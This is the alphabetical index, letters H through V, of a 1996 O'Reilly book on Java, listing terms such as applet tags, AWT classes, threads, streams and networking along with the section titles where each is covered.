Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

H

hashCode( )
The Object and Class Classes
Hashcodes
Hashcodes and key values
hashcodes
Hashcodes and key values
Glossary
hashtables
Vectors and Hashtables
Glossary
for strings (see Properties)
hasMoreElements( )
java.util.StringTokenizer
java.util.Enumeration
hasMoreTokens( ) : java.util.StringTokenizer
header files : Import
HEIGHT (variable) : Implementing an ImageObserver
height attribute (<applet> tag)
Attributes
The Complete Applet Tag
help : Getting Wired
helper applications : Applets
hexadecimal numbers : Integer literals
hiding data (see encapsulation)
HLS encoding : Color models
home directory, user : System Properties
HorizBagLayout (layout manager) : Nonstandard Layout Managers
hostnames
Clients and Servers
Working with URLs
Glossary
hosts, security and : Application and User Level Security
HotJava Web browser
New Kinds of Applications
Applets and Files
Web Browsers and Handlers
Glossary
hspace attribute (<applet> tag) : The Complete Applet Tag
HSV encoding : Color models
HTML attributes
align attribute (<applet>) : The Complete Applet Tag
alt attribute (<applet>) : The Complete Applet Tag
code attribute (<applet>)
Attributes
Loading Class Files
codebase attribute (<applet>) : Loading Class Files
height attribute (<applet>)
Attributes
The Complete Applet Tag
hspace attribute (<applet>) : The Complete Applet Tag
name attribute (<applet>) : The Complete Applet Tag
vspace attribute (<applet>) : The Complete Applet Tag
width attribute (<applet>)
Attributes
The Complete Applet Tag
HTML tags
<applet> : The Applet Tag
<param>
Parameters
Glossary
unknown, browsers and
Hablo Applet?
The Complete Applet Tag
HTTP daemon example : The TinyHttpd Server

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

I

identity (==) operator
More Events and Interfaces
Comparisons
if-else clauses : Statements
IllegalAccessException : java.lang.Class
imageComplete( ) : Image consumers
ImageConsumer (interface) : Glossary
IMAGEERROR property : Image consumers
ImageObserver (interface) : Glossary
ImageProducer (interface) : Glossary
images
Drawing With the AWT
Images
colors in : Colors
encoding as image data : Color models
creating image data : Producing Image Data
double buffering : Double Buffering
filtering image data : Filtering Image Data
image consumers : Image consumers
filtering : Filtering Image Data
image observers
Image Observers
Image Processing
Implementing an ImageObserver
image producers
Image Processing
Producing Image Data
MVC and : The Model/View/Controller Framework
off-screen : Off-Screen Drawing
processing : Image Processing
scrollbars with : ScrollPane and Scrollbars
sequence of : A sequence of images
size of : Scaling and Size
imageUpdate( ) : Implementing an ImageObserver
implements clauses : Glossary
import statements
Import
Importing Classes
Glossary
in (System.in) : Terminal I/O
increment (++) operator : Operators
incremental class development : Incremental Development
incrementaldraw property : Image Observers
index [ ] operator : Arrays
indexed color models : Color models
indexOf( )
Searching
java.util.Vector
inequality (!=) operator : Operators
InetAddress (object) : HeartBeat
inheritance
Syntactic Sweet 'n Low
Inheritance
Subclassing and Inheritance
Glossary
private classes and : Subclassing and Inheritance
init( )
Methods
Applet Control
versus constructors : Constructors
MediaTracker and : Using a MediaTracker
initializing
arrays : Array Creation and Initialization
local variables : Local Variable Initialization
variables : Declaration and initialization
input/output : Input/Output Facilities
InputStream (class)
Streams
Terminal I/O
InputStreamReader (class) : Streams
insert( ) : java.lang.StringBuffer
insertElement( ) : java.util.Vector
installation directory, Java : System Properties
instance methods
Classes
Glossary
instance variables
Instance Variables
Classes
Glossary
instanceof operator
Operators
instanceof
java.util.Vector
Getting the Content as an Object
Glossary
instances : Glossary
class
Class Instances and Objects
Classes
InstantiationException : java.lang.Class
int (type)
Primitive Types
Integer literals
Glossary
integer literals : Integer literals
converting double to : java.lang.Math
integral operators : Operators
<< (leftwise shift)
Operators
Creating an image
interactive TV (ITV) : Java's Origins
interface (keyword) : Interfaces
interfaces
Syntactic Sweet 'n Low
Reference Types
Interfaces
Glossary
packages and : Interfaces and Packages
internationalization : Text Encoding
interpreter : Glossary
Interrupt( ) : Controlling Threads
InterruptedException
Exceptions
Controlling Threads
intValue( ) : Wrappers for Primitive Types
invalid containers (see containers)
inverse trigonometric functions : java.lang.Math
invoking methods : Method invocation
IOException
Terminal I/O
Print streams
File Streams
java.io.RandomAccessFile
Clients
HeartBeat
Getting the Content as an Object
isAbsolute( ) : File methods
isConsumer( ) : Producing Image Data
isDirectory( ) : File methods
isFile( ) : File methods
isNaN( ) : Math Utilities
ISO10646 encoding : Glossary
ISO8859-1 encoding
Text Encoding
Glossary
ITALIC (value) : Fonts
iterative statements : Statements
ITV (interactive TV) : Java's Origins

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

J

J-code : A Virtual Machine
Java
API packages : Basic Utility Classes
applets (see applets)
availability of : Availability
compared to C, C++ : Java Compared
compiler (see javac)
as general application language : Java as a General Application Language
GUI concepts : GUI Concepts in Java
history of : Java's Origins
input/output : Input/Output Facilities
interpreter : A Virtual Machine
numbers in
Instance Variables
online information about : Getting Wired
security manager (see security manager)
security of : Safety of Design
version information : System Properties
WWW and (see World Wide Web)
java (interpreter)
The Java Interpreter
-noasyncgc option : Garbage Collection
Java Development Kit (JDK)
Availability
Glossary
$JAVA directory : The Class Path
.java extension
The Java Compiler
Compilation Units
Glossary
Java Open Language Toolkit (JOLT) : Availability
Java WorkShop : Glossary
java. hierarchy : Packages
java.applet--> (see applets)
java.applet.AudioClip : Working with Audio
java.awt : Understand the Abstract Windowing Toolkit
java.awt.Color : Colors
java.awt.FileDialog (see FileDialog)
java.awt.FontMetrics : Font Metrics
java.awt.Fonts : Fonts
java.awt.Graphics (see images)
java.awt.image.ColorModel : Color models
java.awt.image.MemoryImageSource : Creating an image
java.awt.MediaTracker : Using a MediaTracker
java.awt.peer (see peer interfaces)
java.class.path : System Properties
java.class.version : System Properties
java.home : System Properties
java.io : Input/Output Facilities
java.io.File : java.io.File
java.lang package : Basic Utility Classes
primitive type wrappers : Wrappers for Primitive Types
java.lang.Class : java.lang.Class
java.lang.Object : The Object and Class Classes
java.lang.SecurityManager (see security manager)
java.lang.String (see strings)
java.lang.StringBuffer (see StringBuffer)
java.lang.System : System Properties
java.net : Network Programming
java.net.DatagramSocket (see datagram sockets)
java.net.InetAddress : HeartBeat
java.net.Socket (see sockets)
java.net.URL (see URLs)
java.net.URLStreamHandler (see URLStreamHandler)
java.util.Dictionary : java.util.Dictionary
java.util.Enumeration (see Enumeration interface)
java.util.Math (class) (see math utilities)
java.util.Properties : Properties
java.util.Random (see random numbers)
java.util.StringTokenizer : java.util.StringTokenizer
java.util.Vector (see vectors)
java.vendor : System Properties
java.vendor.url : System Properties
java.version : System Properties
javac (compiler)
Hello Web!
The Java Compiler
-O option : Compiler optimiziations
unreachable statements and : Statements
javadoc : Comments
JavaScript language
Java Compared
Glossary
JDK (Java Development Kit)
Availability
Glossary
JOLT (Java Open Language Toolkit) : Availability
Joy, Bill : Java's Origins

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

K

key values : java.util.Hashtable
key-certification agency : Signing Classes
keys( ) : java.util.Hashtable

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

L

last( ) : CardLayout
lastIndexOf( ) : Searching
lastModified( ) : File methods
Latin-1 encoding
Text Encoding
layout
Layout
validate( ) and layout( )
layout managers
Layout
Layout managers
A TextEntryBox
Layout Managers
Glossary
null : Absolute Positioning?
leading space (for fonts) : Font Metrics
leftwise shift (<<) operator
Operators
Creating an image
length (variable) : Using Arrays
length( )
String Constructors
File methods
File Streams
less than (<) operator : Operators
less than or equal (<=) operator : Operators
line comments (see comments)
line.separator : System Properties
linked lists : Argument Passing and References
Lisp
Java Compared
Type Safety and Method Binding
list( )
Loading and Storing
File methods
literals
character : Character literals
floating-point : Floating-point literals
integer : Integer literals
string (see strings)
load( ) : Loading and Storing
loadFile( ) : File Selection Dialog
loading class files : Loading Class Files
local variables
Instance Variables
Local Variables
Glossary
initializing : Local Variable Initialization
log( ) : java.lang.Math
logging : Pipes
logical complement (!) operator : Operators
long (type)
Primitive Types
Integer literals
Glossary
longjmp( ) statements in C : Exceptions
longValue( ) : Wrappers for Primitive Types
loop( ) : Working with Audio
<applet> tags
The Applet Tag
Applet Parameters
align attribute : The Complete Applet Tag
alt attribute : The Complete Applet Tag
code attribute
Attributes
Loading Class Files
codebase attribute : Loading Class Files
height attribute
Attributes
The Complete Applet Tag
hspace attribute : The Complete Applet Tag
name attribute : The Complete Applet Tag
vspace attribute : The Complete Applet Tag
width attribute
Attributes
The Complete Applet Tag
<param> tags
Parameters
Glossary

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

M

main( ) : The Java Interpreter
MalformedURLException : The URL class
malloc in C/C++ : Local Variable Initialization
mark( ) : Buffered streams
math utilities : Math Utilities
max( ) : java.lang.Math
MAX_PRIORITY (value) : Priorities
MediaTracker (object) : Using a MediaTracker
memory
Dynamic Memory Management
MemoryImageSource (class) : Creating an image
MenuItem (object) : Menus and Choices
menus : Menus and Choices
method invocation : Method invocation
method signature : The Java Interpreter
methods
Classes
Statements
Methods
Glossary
abstract : Abstract Methods and Classes
accessing : Accessing Members
binding : Type Safety and Method Binding
constructor (see constructors)
declaring : Classes
finalizing : Finalization
instance
Classes
Glossary
interfaces (see interfaces)
local variables : Local Variables
native
A Virtual Machine
Packages
Glossary
overloading
Method Overloading
Method Overloading
Glossary
overriding
Overriding Methods
Glossary
passing arguments to : Argument Passing and References
serializing : Serializing Methods
static
Static Members
Static Members
Static Methods
Static method binding
virtual : Type Safety and Method Binding
MIME (Multipurpose Internet Mail Extensions) : Writing a Content Handler
minus (-) operator, subtraction : Operators
minus (-) operator, unary : Operators
MIN_PRIORITY (value) : Priorities
mkdir( ), mkdirs( ) : File methods
modal windows : Dialogs
Model/View/Controller (see MVC framework)
modification times
The Java Compiler
File methods
modifiers
The paint( ) Method
Glossary
monitors : Synchronization
mouseDrag( ) : Clipping
multidimensional arrays : Multidimensional Arrays
multiplication (*) operator : Operators
multithreading (see threads)
MVC framework
Peers
Glossary

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

N

name attribute (<applet> tag) : The Complete Applet Tag
names
applet
Attributes
The Complete Applet Tag
Loading Class Files
directories and files : File methods
of fonts : Fonts
packages : A Word About Package Names
NaN (not a number) (value)
Math Utilities
Glossary
native methods
A Virtual Machine
Packages
Glossary
natural logarithms : java.lang.Math
NEGATIVE_INFINITY (value) : Math Utilities
nesting comments : Comments
Netscape
JavaScript
Java Compared
Glossary
Navigator
Applets and Files
Web Browsers and Handlers
network byte order : The DateAtHost Client
Network Time Protocol (NTP) : The DateAtHost Client
networks : Network Programming
new operator
Variables
The New Operator
Object creation
Classes
Constructors
Glossary
multidimensional arrays and : Multidimensional Arrays
newInstance( ) : java.lang.Class
newlines (see whitespace)
NewtonScript : Safety of Implementation
next( ) : CardLayout
nextDouble( ) : Random Numbers
nextElement( )
java.util.StringTokenizer
java.util.Enumeration
nextFloat( ) : Random Numbers
nextGaussian( ) : Random Numbers
nextInt( ) : Random Numbers
nextLong( ) : Random Numbers
nextToken( ) : java.util.StringTokenizer
-noasyncgc option (java) : Garbage Collection
nonexistent files : Getting the Content as an Object
NORM_PRIORITY (value) : Priorities
not (!) operator : run( )
not equal (see inequality operator)
notify( ) : wait( ) and notify( )
notifyAll( )
wait( ) and notify( )
The Message Passer
Pipes
-noverify option (java) : The Java Interpreter
NTP (Network Time Protocol) : The DateAtHost Client
null (value)
Variables
Glossary
character : Declaration and initialization
reference : null
NullPointerException
Variables
null
NumberFormatException : Wrappers for Primitive Types
numbers
Instance Variables
floating-point : Floating-point literals
hexadecimal : Integer literals
integer literals : Integer literals
math utilities : Math Utilities
NaN (value)
Math Utilities
Glossary
octal : Integer literals
out-of-range values : Math Utilities
randomly generated
java.lang.Math
Random Numbers

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

O

Oak language : Java's Origins
Object (class)
Relationships and Finger Pointing
The Object and Class Classes
objects (see arrays)
Class Instances and Objects
Objects in Java
Glossary
accessing variables of : Variable access
applets (see applications)
array (see arrays)
creating (see new operator)
destroying : Object Destruction
equivalency of (see equals( ))
Exception (see errors and exceptions)
finalizing : Glossary
getting from URLs : Getting the Content as an Object
instances (see instances)
pointers to (see references)
security manager : Security Manager
signatures for (see hashcodes)
String (see strings)
octal numbers : Integer literals
off-screen drawing : Off-Screen Drawing
offScreenImage (variable) : Double Buffering
openStream( ) : Stream Data
operating system information : System Properties
operators : Operators
OR (^) operator, bitwise : Operators
OR (^) operator, boolean : Operators
OR (|) operator, bitwise : Operators
OR (|) operator, boolean : Operators
OR (||) operator, conditional : Operators
order of evaluation
Statements and Expressions
Operators
origin, graphics context : Drawing Methods
os.arch : System Properties
os.name : System Properties
os.version : System Properties
out (see System.out)
out-of-range values : Math Utilities
OutOfMemoryException : Glossary
output (see input/output)
OutputStream (class)
Streams
Terminal I/O
OutputStreamWriter (class) : Streams
overloading : Syntactic Sweet 'n Low
add( ) : Layout managers
constructors : Working with Overloaded Constructors
equals( ) : Equality
indexOf( ), lastIndexOf( ) : Searching
methods
Method Overloading
Method Overloading
Glossary
print( ) : Print streams
overriding
equals( ) : Equality
methods
Overriding Methods
Glossary

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

P

p.add( ) : A TextEntryBox
packages
Syntactic Sweet 'n Low
Scalability
Packages
Packages
Packages and Compilation Units
Basic Utility Classes
Glossary
compilation units
Compilation Units
Glossary
interfaces and : Interfaces and Packages
MIME types and : Locating Content Handlers
protocols into names for : Locating Protocol Handlers
unnamed : The Unnamed Package
padding, applet : The Complete Applet Tag
paint( )
The paint( ) Method
Painting and Updating
Basic Drawing
Panel (object)
Relationships and Finger Pointing
Painting and Updating
Containers
FlowLayout : Layout managers
@param tag : Comments
parameters, applet : Parameters
parametric polymorphism : Method Overloading
parentheses ( ) : Operators
ParseException (invented) : Buffered streams
parseInt( ) : Wrappers for Primitive Types
parseLong( ) : Wrappers for Primitive Types
parsing
protocols : URLs, Stream Handlers, and Connections
tar files : Constructing the object
text : java.util.StringTokenizer
URLs
java.util.StringTokenizer
The URL class
passing arguments to methods : Argument Passing and References
path, class (see class paths)
path.separator : System Properties
paths
Path localization
Working with URLs
PDAs (personal digital assistants) : Java's Origins
peer interfaces : Peers
peers : Glossary
Perl scripting language : Java Compared
personal digital assistants (PDAs) : Java's Origins
PI (value) : java.lang.Math
PipedInputStream (class)
Streams
Pipes
PipedOutputStream (class)
Streams
Pipes
PipedReader (class) : Streams
PipedWriter (class) : Streams
pixels : Image Processing
PLAIN (value) : Fonts
play( ) : Working with Audio
plus (+) operator, addition : Operators
plus (+) operator, unary : Operators
pointers (see references)
polar coordinates : java.lang.Math
Polygon (object) : Drawing Methods
polymorphism : Method Overloading
pop-up messages (see dialogs)
port numbers : Clients and Servers
portability
Yet Another Language?
A Virtual Machine
positioning absolutely : Absolute Positioning?
POSITIVE_INFINITY (value) : Math Utilities
pow( ) : java.lang.Math
prepareImage( ) : Implementing an ImageObserver
previous( ) : CardLayout
primitive operators : Operators
primitive types
Primitive Types
Argument Passing and References
Glossary
boolean
Primitive Types
Glossary
byte
Primitive Types
Glossary
char
Text Encoding
Primitive Types
Character literals
Glossary
double
Primitive Types
Floating-point literals
Glossary
float
Primitive Types
Floating-point literals
Glossary
int
Primitive Types
Integer literals
Glossary
long
Primitive Types
Integer literals
Glossary
short
Primitive Types
Glossary
streams for reading/writing : Data streams
wrappers for : Wrappers for Primitive Types
print( )
Method Overloading
Print streams
println( )
java.lang.StringBuffer
Print streams
PrintStream (class)
The Object and Class Classes
Print streams
PrintWriter (class) : Streams
priority of threads : Scheduling and Priority
private (modifier)
Safety of Implementation
Accessing Members
Basic Access Modifiers
Glossary
inheritance and
Subclassing and Inheritance
Glossary
members
The paint( ) Method
Our Color Methods
private protected : Glossary
private protected : What was private protected?
producer threads : The Message Passer
programs (see applications)
Properties (class) : Properties
propertyNames( ) : Properties
protected (modifier)
Accessing Members
Basic Access Modifiers
Glossary
protocol handlers
New Kinds of Applications
Web Browsers and Handlers
Writing a Protocol Handler
Glossary
protocols : Working with URLs
pseudo-random (see random numbers)
public (modifier)
Accessing Members
Class Visibility
Basic Access Modifiers
Glossary
classes, javac compiler and : The Java Compiler
members : The paint( ) Method
public-key cryptography : Signing Classes
put( ) : java.util.Hashtable
putMessage( ) : The Message Passer

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

R

random numbers
java.lang.Math
Random Numbers
random( ) : java.lang.Math
RandomAccessFile (class)
File Streams
java.io.RandomAccessFile
RANDOMPIXELORDER property : Image consumers
read( )
Abstract Methods and Classes
Terminal I/O
Pipes
data buffer with : Buffered streams
readability, checking for : File methods
readDouble( ) : Data streams
Reader (class) : Streams
readLine( ) : Pipes
readUTF( ) : Data streams
rectangular coordinates : java.lang.Math
redrawing GUI components : Painting and Updating
redrawrate property : Image Observers
reference (*) operator in C : Operators
reference types
Reference Types
Glossary
references
Dynamic Memory Management
Variables
Reference Types
callbacks
Interfaces as Callbacks
Glossary
casting and : Casting
default initial value for : Instance Variables
setting to null : Threading Applets
when passing arguments : Argument Passing and References
relative URLs : Working with URLs
remainder (%) operator : Operators
remove( ) : java.util.Hashtable
removeConsumer( ) : Producing Image Data
removeElement( ) : java.util.Vector
renameTo( ) : File methods
repaint( )
The repaint() Method
Painting and Updating
Basic Drawing
Image Observers
requestTopDownLeftRightResend( ) : Producing Image Data
reset( ) : Buffered streams
restricting file access : Taming the daemon
resume( ) : Controlling Threads
return statements : The finally Clause
@return tag : Comments
RGB encoding : Color models
RGBImageFilter (class) : Filtering Image Data
rightwise shift (>>>) operator : Operators
rightwise shift (>>) operator : Operators
rint( ) : java.lang.Math
roots : Glossary
rot13
rot13InputStream
The Encryption class
round( ) : java.lang.Math
run ( )
The Thread Class
run( )
The Thread Class and the Runnable Interface
run-time typing : Type Safety and Method Binding
Runnable interface
The Runnable Interface
The Thread Class and the Runnable Interface
runtime exceptions
The throws Clause and checked Exceptions
RuntimeExceptions
ClassCastException
Casting
java.util.Vector
Getting the Content as an Object
NumberFormatException : Wrappers for Primitive Types

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

S

sameFile( ) : The URL class
save( ) : Loading and Storing
saveFile( ) : File Selection Dialog
say( ) : Serializing Methods
scalability : Scalability
scalar types in C (see primitive types)
scaling images : Scaling and Size
scheduling threads : Scheduling and Priority
scripting languages : Java Compared
scrollbars : ScrollPane and Scrollbars
security
Yet Another Language?
Safety of Design
application-level : Application and User Level Security
authentication : Signing Classes
implementation safety : Safety of Implementation
sockets and : Sockets and security
TCP/IP : Servers
security manager
Security Manager
The Security Manager
Glossary
applets and files : Applets and Files
HTTP daemon : Taming the daemon
SecurityException : The Security Manager
@see tags : Comments
seek( ) : java.io.RandomAccessFile
serializing methods : Serializing Methods
servers
Clients and Servers
The server
Glossary
nonexistent files on : Getting the Content as an Object
ServerSocket (object)
Clients and Servers
Servers
setCheckboxGroup( ) : Checkboxes and CheckboxGroups
setClip( ) : Drawing Methods
setColor( ) : Colors
setColorModel( ) : Image consumers
setDaemon( ) : A Thread's Life
setDimensions( ) : Image consumers
setFont( ) : Fonts
setHints( ) : Image consumers
setjmp( ) statements in C : Exceptions
setLayout( )
Layout managers
Layout Managers
setMenuBar( ) : Menus and Choices
setPixels( )
Producing Image Data
Color models
setProperties( ) : Image consumers
setSecurityManager( ) : The Security Manager
setSize( ) : Layout Managers
setText( ) : A TextEntryBox
setTitle( ) : Menus and Choices
setURL( ) : The URLStreamHandler
shadowing variables
Shadowing
Shadowed Variables
Glossary
short (type)
Primitive Types
Glossary
show( )
File Selection Dialog
CardLayout
showDocument( ) : Driving the Browser
showStatus( ) : Driving the Browser
signature (see method signature)
digital (see digital signature)
method (see method signature)
sin( ) : java.lang.Math
sine
java.lang.Math
single inheritance : Subclassing and Inheritance
SINGLEFRAME property : Image consumers
SINGLEFRAMEDONE property : Image consumers
SINGLEPASS property : Image consumers
size
applet
Attributes
The Complete Applet Tag
arranging GUI components by : FlowLayout
file : File methods
font : Fonts
GUI components : Layout Managers
image : Scaling and Size
size operator in C : Operators
size( ) : java.util.Vector
skip( ) : Terminal I/O
slash (/) in paths : Path localization
sleep( )
run( )
The Message Passer
Smalltalk
Java Compared
Type Safety and Method Binding
sockets
Network Programming
Sockets
Glossary
datagram : Datagram Sockets
security and : Sockets and security
SOMEBITS (variable) : Implementing an ImageObserver
sound files
Applet Resources
Working with Audio
source code (see code, source)
compilation units : Glossary
speed
Yet Another Language?
The Verifier
sqrt( ) : java.lang.Math
stack-of-cards configuration (see CardLayout)
start( )
The Thread Class
start( ) and stop( )
Creating and starting threads
Applet Control
startProduction( ) : Producing Image Data
startsWith( ) : Searching
statements
Statements and Expressions
Statements
unreachable : Statements
static (modifier)
Static Members
Glossary
code blocks : Static and Nonstatic Code Blocks
final color values : Colors
members : Static Members
methods
Static Methods
Static method binding
Glossary
types : Types
variables : Glossary
STATICIMAGEDONE property : Image consumers
stop( )
The Thread Class
start( ) and stop( )
Creating and starting threads
Controlling Threads
Applet Control
Working with Audio
suspend( ) versus : Threading Applets
streams
Streams
Glossary
created from strings : Strings to Streams and Back
file : File Streams
URLs and : Stream Data
wrappers for : Stream Wrappers
String (class/object) (see strings)
string concatenation (+) operator
Syntactic Sweet 'n Low
A Word About Strings
Operators
String Constructors
java.lang.StringBuffer
StringBuffer (class)
Editing
java.lang.StringBuffer
StringReader (class) : Strings to Streams and Back
strings
The New Operator
A Word About Strings
Strings
Glossary
backslashes in : Path localization
charAt( ) : Things from Strings
comparing : Comparisons
constructors for : String Constructors
converting to and from : Strings from Things
creating streams from : Strings to Streams and Back
editing : Editing
equality of : Equality
hashtable for : Properties
parsing into words : java.util.StringTokenizer
searching for substrings in : Searching
streams for reading/writing : Data streams
toCharArray( ) : Things from Strings
valueOf( ) : Strings from Things
StringTokenizer (class) : java.util.StringTokenizer
stringWidth( )
Font Metrics
StringWriter (class)
Strings to Streams and Back
strtok( ) in C : java.util.StringTokenizer
struct (keyword) in C : Glossary
subclasses
Inheritance
Subclassing and Subtypes
Subclassing and Inheritance
Glossary
of Thread class : A natural born thread
visibility and : Subclasses and Visibility
subinterfaces : Subinterfaces
substring( ) : Editing
substrings (see strings)
subtraction (-) operator : Operators
Sun's HotJava (see HotJava Web browser)
super( ) : Using superclass constructors
super (keyword)
Shadowed Variables
this and super
Glossary
superclasses : Inheritance
suspend( ) : Controlling Threads
stop( ) versus : Threading Applets
switch statements : Statements
synchronization (see threads)
synchronized (modifier)
Our Color Methods
A Word About Synchronization
Statements
Constructors
Serializing Methods
Glossary
syntax, Java : Syntactic Sweet 'n Low
System (class) : System Properties
System.err
Terminal I/O
Print streams
System.gc( ) : Garbage Collection
System.in : Terminal I/O
System.out
Method Overloading
Loading and Storing
Terminal I/O
Print streams
System.out.println( )
java.lang.StringBuffer
Print streams

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

T

tabs (see whitespace)
tan( ) : java.lang.Math
tangent : java.lang.Math
tar files : The application/x-tar Handler
Tcl scripting language : Java Compared
TCP (Transmission Control Protocol) : Glossary
terminal input/output : Terminal I/O
text
alternate for browsers : The Complete Applet Tag
encoding : Text Encoding
fonts : Fonts
text GUI components : Text Components
TextArea
Focus, please
Text Components
A TextEntryBox
TextField
Focus, please
Text Components
A TextEntryBox
this (keyword)
Methods
this
this and super
Image Observers
Glossary
this( ) : Working with Overloaded Constructors
Thread (class)
The Thread Class
The Thread Class and the Runnable Interface
threads
Threads
Threads
Glossary
communicating between : Pipes
multithreading
Multithreading
Threads
priority : Scheduling and Priority
producer and consumer : The Message Passer
synchronization
Multithreading
Our Color Methods
Threads
A Word About Synchronization
Synchronization
Glossary
versus concurrency : Multithreading
wait( ) and notify( ) : wait( ) and notify( )
yield( ) with : Yielding
throw statements (see also errors and exceptions)
Throwing Exceptions
Glossary
throws clauses
The throws Clause and checked Exceptions
Glossary
toCharArray( ) : Things from Strings
Toolkit (see AWT)
Glossary
TOPDOWNLEFTRIGHT property : Image consumers
toString( )
The Object and Class Classes
Strings from Things
java.lang.StringBuffer
Strings to Streams and Back
translate( ) : Drawing Methods
transparency (see ARGB color model)
triangular arrays : Multidimensional Arrays
trim( ) : Editing
true (value) (see boolean)
try statements
Exceptions
Statements
Exception Handling
Try Creep
Glossary
types
Variables
Types
array : Array Types
casting and
Casting
Glossary
checking : Type Safety and Method Binding
primitive
Primitive Types
Argument Passing and References
boolean
Instance Variables
Primitive Types
Glossary
byte
Primitive Types
Glossary
char
Text Encoding
Primitive Types
Character literals
Glossary
double
Primitive Types
Floating-point literals
Glossary
float
Primitive Types
Floating-point literals
Glossary
int
Primitive Types
Integer literals
Glossary
long
Primitive Types
Integer literals
Glossary
short
Primitive Types
Glossary
streams for reading/writing : Data streams
reference : Reference Types
state of : The Verifier
void : Expressions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

U

UCS (universal character set)
Glossary
UDP (User Datagram Protocol)
Datagram Sockets
Glossary
unary minus (-) operator : Operators
unary plus (+) operator : Operators
Unicode character encoding
Text Encoding
Glossary
Uniform Resource Names (URNs)
Packages
Working with URLs
UnknownHostException
Clients
HeartBeat
UnknownServiceException : Stream Data
unnamed packages : The Unnamed Package
unreachable statements : Statements
update( )
Painting and Updating
Basic Drawing
using effectively : Drawing Techniques
updating
GUI components : Painting and Updating
image data : Image Producers and Consumers
URLConnection (class)
Web Browsers and Handlers
The URLConnection
URLs, Stream Handlers, and Connections
The URLConnection
URLContentHandler (class) : Web Browsers and Handlers
URLs (Uniform Resource Locators)
Network Programming
Working with URLs
base versus relative : Working with URLs
parsing : java.util.StringTokenizer
streams and : Stream Data
URL class : The URL class
of vendor : System Properties
URLStreamHandler (class) : Writing a Protocol Handler
URLStreamHandlerFactory (object) : Writing a Protocol Handler
URNs (Uniform Resource Names)
Packages
Working with URLs
User Datagram Protocol (UDP)
Datagram Sockets
Glossary
user-level security : Application and User Level Security
user.dir property
System Properties
File constructors
user.home : System Properties
user.name : System Properties
UTF-8 encoding
Data streams
Glossary

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

V

validate( )
validate( ) and layout( )
Layout Managers
VariableGridLayout (layout manager) : Nonstandard Layout Managers
variables
Classes
Variables
arrays (see arrays)
assigning : Assignment
class : Glossary
converting to/from strings : Strings from Things
declaring
Variables
Declaration and initialization
Statements
Classes
default values for : Declaration and initialization
dot (.) notation
Variable access
Accessing Members
encapsulation (see encapsulation)
instance
Instance Variables
Classes
Glossary
interface : Interface Variables
local
Instance Variables
Local Variables
Local Variable Initialization
Glossary
shadowing
Shadowing
Shadowed Variables
Glossary
static
Static Members
Static Members
type checking : Type Safety and Method Binding
vectors
Wrappers for Primitive Types
Vectors and Hashtables
Glossary
vendor information : System Properties
verifiers, byte-code
Safety of Implementation
The Java Interpreter
Glossary
-verify option (java) : The Java Interpreter
-verifyremote option (java) : The Java Interpreter
version information
Java : System Properties
operating system : System Properties
@version tag : Comments
VerticalBagLayout (layout manager) : Nonstandard Layout Managers
viewing applets
Viewing Applets
Getting Applet Resources
Glossary
virtual
machines : A Virtual Machine
methods : Type Safety and Method Binding
visibility modifiers
